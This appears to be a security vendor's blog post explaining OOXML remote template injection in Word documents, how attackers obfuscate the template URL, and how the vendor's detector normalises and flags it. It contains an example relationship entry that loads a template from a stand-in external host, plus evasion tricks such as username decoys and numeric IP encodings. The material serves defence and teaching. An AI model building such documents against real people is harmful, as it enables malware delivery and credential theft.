OOXML Remote Template Injection

Analyzer.sh blog

← All posts

A common mechanism we spot malware authors use to avoid detection is so-called OOXML Remote Template Injection. In these cases, the document shared is often completely clean. It doesn’t contain macros, malicious payload or exploit code. Instead, that payload is fetched from a remote server upon opening.

How remote template injection works

DOCX files are really ZIP archives of multiple XML parts. These are tied together by relationship files, which map parts and components. One specific relationship, ‘attachedTemplate’, can point to a template on your local file server, when it is shared between documents.

From word/_rels/settings.xml.rels in a typical DOCX zip:

<Relationship Id="rId1"
  Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
  Target="https://cdn-office-update.example/invoice.dotm"
  TargetMode="External"/>

Adversaries can point this template elsewhere: for instance to a third party service where a malicious template file is stored. When the victim opens the document, any exploits or macros in that external file are loaded and rendered by Word, once the user leaves Protected View (if it was engaged on the file).

Who uses it

It was popularized in 2016 with the Phishery tool, which allowed a user to embed a remote template on a server that required authentication. The operator of the phishing kit could use this to steal the user’s credentials.

This technique has commonly been used by targeted intrusion sets, both for credential stealing and for simply loading in remote malware. A good example of an APT case is one of our example analyses, reportedly used by the SharpPanda group.

With our limited data set, we saw this approach at its most popular in 2021. However, it is still commonly used today.

How do adversaries obfuscate their intent

Even within this approach, adversaries use a few techniques to evade detection: about one in five malicious documents we’ve seen hides the server behind a user-name decoy before an @, and we often see the adversary write the server location as a bare octal, decimal or hexadecimal number instead of a normal IP address or hostname. And naturally, there are plenty of legitimate reasons for remote templates: we often see letterheads and handbooks pointing at an organization’s legitimate template server.

Thoughts on our detection methods

The way we built detection, whenever we see a remote template being defined, we first implement a normalization routine, which decodes percent-encoding and odd escaping into a regular URL. We also convert any octal IP addresses to normal addresses, and remove the username that’s often supplied. We make sure to report the real host as an indicator and generally treat any attempts at obfuscation as a strong signal the remote template is likely malicious.

We also make some assumptions on whether the file can actually be malicious: e.g. a local server is less likely to be malicious, as is a document on a corporation’s own SharePoint. Simple dotx templates that can’t contain macros can also lower the severity, though such a document can still contain an exploit.

Similar techniques

Exploitation of this issue can also look similar to two other issues, one another type of feature abuse, the second an actual vulnerability:

  • Frameset injection. In this case, a frameset is defined in the document that has an external relationship. It’s very similar to the main case we’re discussing in this blog. The frameset is set in word/webSettings.xml in the DOCX zip, with the remote target in word/_rels/webSettings.xml.rels.
  • CVE-2017-0199. In that vulnerability, there’s a link included as an OLE2 embedded link object, to a third party server. This is a logic bug in Office where an Office document can have an embedded OLE2 link that retrieves a malicious HTML Application file. It then invokes the application/HTA handler to run the HTML markup or embedded scripting language.

More from the blog